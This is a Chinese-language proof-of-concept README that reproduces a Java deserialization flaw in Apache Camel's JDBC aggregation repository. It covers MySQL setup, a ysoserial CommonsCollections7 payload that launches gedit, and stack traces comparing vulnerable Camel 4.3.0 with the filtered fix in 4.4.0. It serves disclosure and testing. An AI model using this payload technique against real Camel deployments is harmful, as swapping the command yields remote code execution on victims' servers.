本 PoC 基于华为开源管理中心陈子阳构建的复现程序
该复现程序经调整和清理后用于创建此 PoC，并增加了一些自动化功能。
我们需要一个 Mysql 实例
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
现在我们需要创建所需的表：
你有两个文件：employee.sql 和 employee_completed.sql
运行以下命令：
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
输入密码，执行 USE db 并运行这两个 SQL 文件。
此时你已经拥有复现反序列化所需的全部要素。
运行以下命令
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
并记下该地址。
现在根据你的环境状态修改 src/main/resources/application.properties。
我们使用的载荷基于 commons-collections 3.2.1。
你需要使用：
https://github.com/frohoff/ysoserial
通过命令行可以按以下方式重新创建载荷：
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
这将返回载荷的十六进制版本。其思路是在反序列化时运行 gedit 命令。
你可以尝试各种可能的载荷，并通过修改 INSERT 语句以及添加新生成的载荷来更改 SQL 脚本。
要复现该行为。首先选择一个 JDK 17（本地或通过 SDKMan）。
然后运行以下命令：
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
这将产生以下输出：
[INFO] --- spring-boot:3.2.0:run (default-cli) @ camelsql ---
[INFO] Attaching agents: []
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v3.2.0)
2024-01-10T11:50:05.523+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Starting CamelsqlApplication using Java 17.0.8 with PID 28404 (/home/oscerd/workspace/apache-camel/security/camelsql/target/classes started by oscerd in /home/oscerd/workspace/apache-camel/security/camelsql)
2024-01-10T11:50:05.526+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : No active profile set, falling back to 1 default profile: "default"
2024-01-10T11:50:06.897+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) is starting
2024-01-10T11:50:06.903+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Starting...
2024-01-10T11:50:07.062+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.pool.HikariPool : HikariPool-1 - Added connection com.mysql.cj.jdbc.ConnectionImpl@418f890f
2024-01-10T11:50:07.064+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Start completed.
2024-01-10T11:50:07.093+01:00 INFO 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 aggregate exchanges (not completed) in repository: employee
2024-01-10T11:50:07.094+01:00 WARN 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 completed exchanges to be recovered in repository: employee_completed
2024-01-10T11:50:07.096+01:00 INFO 28404 --- [ main] o.a.c.p.aggregate.AggregateProcessor : Using RecoverableAggregationRepository by scheduling recover checker to run every 5000 millis.
2024-01-10T11:50:07.098+01:00 INFO 28404 --- [ main] c.s.b.CamelSpringBootApplicationListener : Starting CamelMainRunController to ensure the main thread keeps running
2024-01-10T11:50:07.099+01:00 INFO 28404 --- [inRunController] org.apache.camel.main.MainSupport : Apache Camel (Main) 4.3.0 is starting
2024-01-10T11:50:07.106+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Routes startup (started:1)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Started route1 (timer://select)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) started in 209ms (build:0ms init:0ms start:209ms)
2024-01-10T11:50:07.115+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Started CamelsqlApplication in 1.839 seconds (process running for 2.453)
2024-01-10T11:50:08.176+01:00 ERROR 28404 --- [ timer://select] o.a.c.p.e.DefaultErrorHandler : Failed delivery for (MessageId: 41CB7CFEF0673B6-0000000000000000 on ExchangeId: 41CB7CFEF0673B6-0000000000000000). Exhausted after delivery attempt: 1 caught: java.lang.RuntimeException: Error getting key == 0 from repository employee
Message History (source location and message history is disabled)
---------------------------------------------------------------------------------------------------------------------------------------
Source ID Processor Elapsed (ms)
route1/route1 from[timer://select?repeatCount=1] 69
...
route1/aggregate1 aggregate[${header.aaa} == 0] 0
Stacktrace
---------------------------------------------------------------------------------------------------------------------------------------
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:366) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.1.jar:6.1.1]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:335) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.schedule(DefaultReactiveExecutor.java:148) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor.scheduleMain(DefaultReactiveExecutor.java:59) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.processor.Pipeline.process(Pipeline.java:163) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.CamelInternalProcessor.processNonTransacted(CamelInternalProcessor.java:354) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.CamelInternalProcessor.process(CamelInternalProcessor.java:330) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer.sendTimerExchange(TimerConsumer.java:293) ~[camel-timer-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer$1.doRun(TimerConsumer.java:164) ~[camel-timer-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer$1.run(TimerConsumer.java:136) ~[camel-timer-4.3.0.jar:4.3.0]
at java.base/java.util.TimerThread.mainLoop(Timer.java:566) ~[na:na]
at java.base/java.util.TimerThread.run(Timer.java:516) ~[na:na]
Caused by: java.io.StreamCorruptedException: null
at java.base/java.util.Hashtable.reconstitutionPut(Hashtable.java:1356) ~[na:na]
at java.base/java.util.Hashtable.readHashtable(Hashtable.java:1317) ~[na:na]
at java.base/java.util.Hashtable.readObject(Hashtable.java:1259) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:568) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.decode(JdbcCamelCodec.java:108) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:82) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:77) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:358) ~[camel-sql-4.3.0.jar:4.3.0]
... 23 common frames omitted
2024-01-10T11:50:08.182+01:00 WARN 28404 --- [ timer://select] o.a.camel.component.timer.TimerConsumer : Error processing exchange. Exchange[41CB7CFEF0673B6-0000000000000000]. Caused by: [java.lang.RuntimeException - Error getting key == 0 from repository employee]
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:366) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.1.jar:6.1.1]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:335) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.schedule(DefaultReactiveExecutor.java:148) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor.scheduleMain(DefaultReactiveExecutor.java:59) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.processor.Pipeline.process(Pipeline.java:163) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.CamelInternalProcessor.processNonTransacted(CamelInternalProcessor.java:354) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.CamelInternalProcessor.process(CamelInternalProcessor.java:330) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer.sendTimerExchange(TimerConsumer.java:293) ~[camel-timer-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer$1.doRun(TimerConsumer.java:164) ~[camel-timer-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer$1.run(TimerConsumer.java:136) ~[camel-timer-4.3.0.jar:4.3.0]
at java.base/java.util.TimerThread.mainLoop(Timer.java:566) ~[na:na]
at java.base/java.util.TimerThread.run(Timer.java:516) ~[na:na]
Caused by: java.io.StreamCorruptedException: null
at java.base/java.util.Hashtable.reconstitutionPut(Hashtable.java:1356) ~[na:na]
at java.base/java.util.Hashtable.readHashtable(Hashtable.java:1317) ~[na:na]
at java.base/java.util.Hashtable.readObject(Hashtable.java:1259) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:568) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.decode(JdbcCamelCodec.java:108) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:82) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:77) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:358) ~[camel-sql-4.3.0.jar:4.3.0]
... 23 common frames omitted
虽然代码会失败，但与此同时你会看到 gedit 打开一个窗口。
你可以用例如 camel 3.21.3 复现相同的行为。你需要设置 JDK 11（本地或通过 SDKMan）。
你需要运行：
mvn clean install -Dcamel.version=3.21.3 -Dspring-boot.version=2.7.18 -Djava.version=11 spring-boot:run
行为将会相同。
要展示修复，你需要运行
mvn clean install -Dcamel.version=4.4.0 -Dspring-boot.version=3.2.2 -Djava.version=17 spring-boot:run
这将产生以下输出：
[INFO] --- spring-boot:3.2.1:run (default-cli) @ camelsql ---
[INFO] Attaching agents: []
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v3.2.1)2024-01-10T11:55:28.735+01:00 INFO 29206 --- [ main] c.example.camelsql.CamelsqlApplication : 正在使用 Java 17.0.8 启动 CamelsqlApplication，PID 29206 (/home/oscerd/workspace/apache-camel/security/camelsql/target/classes started by oscerd in /home/oscerd/workspace/apache-camel/security/camelsql)
2024-01-10T11:55:28.741+01:00 INFO 29206 --- [ main] c.example.camelsql.CamelsqlApplication : 未设置活动配置文件，回退到 1 个默认配置文件："default"
2024-01-10T11:55:30.122+01:00 INFO 29206 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.4.0-SNAPSHOT (camel-1) 正在启动
2024-01-10T11:55:30.131+01:00 INFO 29206 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - 正在启动...
2024-01-10T11:55:30.285+01:00 INFO 29206 --- [ main] com.zaxxer.hikari.pool.HikariPool : HikariPool-1 - 已添加连接 com.mysql.cj.jdbc.ConnectionImpl@261f359f
2024-01-10T11:55:30.286+01:00 INFO 29206 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - 启动完成。
2024-01-10T11:55:30.306+01:00 INFO 29206 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : 启动时，仓库 employee 中有 1 个未完成的聚合交换
2024-01-10T11:55:30.307+01:00 WARN 29206 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : 启动时，仓库 employee_completed 中有 1 个需要恢复的已完成交换
2024-01-10T11:55:30.308+01:00 INFO 29206 --- [ main] o.a.c.p.aggregate.AggregateProcessor : 使用 RecoverableAggregationRepository，将恢复检查器调度为每 5000 毫秒运行一次。
2024-01-10T11:55:30.310+01:00 INFO 29206 --- [ main] c.s.b.CamelSpringBootApplicationListener : 正在启动 CamelMainRunController 以确保主线程保持运行
2024-01-10T11:55:30.312+01:00 INFO 29206 --- [inRunController] org.apache.camel.main.MainSupport : Apache Camel (Main) 4.4.0-SNAPSHOT 正在启动
2024-01-10T11:55:30.322+01:00 INFO 29206 --- [ main] o.a.c.impl.engine.AbstractCamelContext : 路由启动（已启动：1）
2024-01-10T11:55:30.322+01:00 INFO 29206 --- [ main] o.a.c.impl.engine.AbstractCamelContext : 已启动 route1 (timer://select)
2024-01-10T11:55:30.322+01:00 INFO 29206 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.4.0-SNAPSHOT (camel-1) 在 198ms 内启动（构建：0ms 初始化：0ms 启动：198ms）
2024-01-10T11:55:30.328+01:00 INFO 29206 --- [ main] c.example.camelsql.CamelsqlApplication : CamelsqlApplication 在 1.844 秒内启动（进程运行了 2.102）
2024-01-10T11:55:31.352+01:00 ERROR 29206 --- [ timer://select] o.a.c.p.e.DefaultErrorHandler : 传递失败（消息ID: 5F06C78575E3CDB-0000000000000000，交换ID: 5F06C78575E3CDB-0000000000000000）。重试尝试后已耗尽：1，捕获到：java.lang.RuntimeException: 从仓库 employee 获取键 == 0 时出错
消息历史（源位置和消息历史已禁用）
---------------------------------------------------------------------------------------------------------------------------------------
来源 ID 处理器 用时（毫秒）
route1/route1 from[timer://select?repeatCount=1] 30
...
route1/aggregate1 aggregate[${header.aaa} == 0] 0
堆栈跟踪
---------------------------------------------------------------------------------------------------------------------------------------
java.lang.RuntimeException: 从仓库 employee 获取键 == 0 时出错
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:367) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:342) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.2.jar:6.1.2]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:342) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:336) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.schedule(DefaultReactiveExecutor.java:148) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor.scheduleMain(DefaultReactiveExecutor.java:59) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.Pipeline.process(Pipeline.java:163) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.CamelInternalProcessor.processNonTransacted(CamelInternalProcessor.java:354) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.CamelInternalProcessor.process(CamelInternalProcessor.java:330) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer.sendTimerExchange(TimerConsumer.java:293) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer$1.doRun(TimerConsumer.java:164) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer$1.run(TimerConsumer.java:136) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at java.base/java.util.TimerThread.mainLoop(Timer.java:566) ~[na:na]
at java.base/java.util.TimerThread.run(Timer.java:516) ~[na:na]
Caused by: java.io.InvalidClassException: 过滤器状态：已拒绝
at java.base/java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1409) ~[na:na]
at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2044) ~[na:na]
at java.base/java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1898) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2224) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at java.base/java.util.Hashtable.readHashtable(Hashtable.java:1313) ~[na:na]
at java.base/java.util.Hashtable.readObject(Hashtable.java:1259) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:568) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.decode(JdbcCamelCodec.java:104) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:77) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:72) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:359) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
... 23 common frames omitted
2024-01-10T11:55:31.355+01:00 WARN 29206 --- [ timer://select] o.a.camel.component.timer.TimerConsumer : 处理交换时出错。Exchange[5F06C78575E3CDB-0000000000000000]。原因：[java.lang.RuntimeException - 从仓库 employee 获取键 == 0 时出错]
java.lang.RuntimeException: 从仓库 employee 获取键 == 0 时出错
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:367) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:342) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.2.jar:6.1.2]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:342) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:336) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
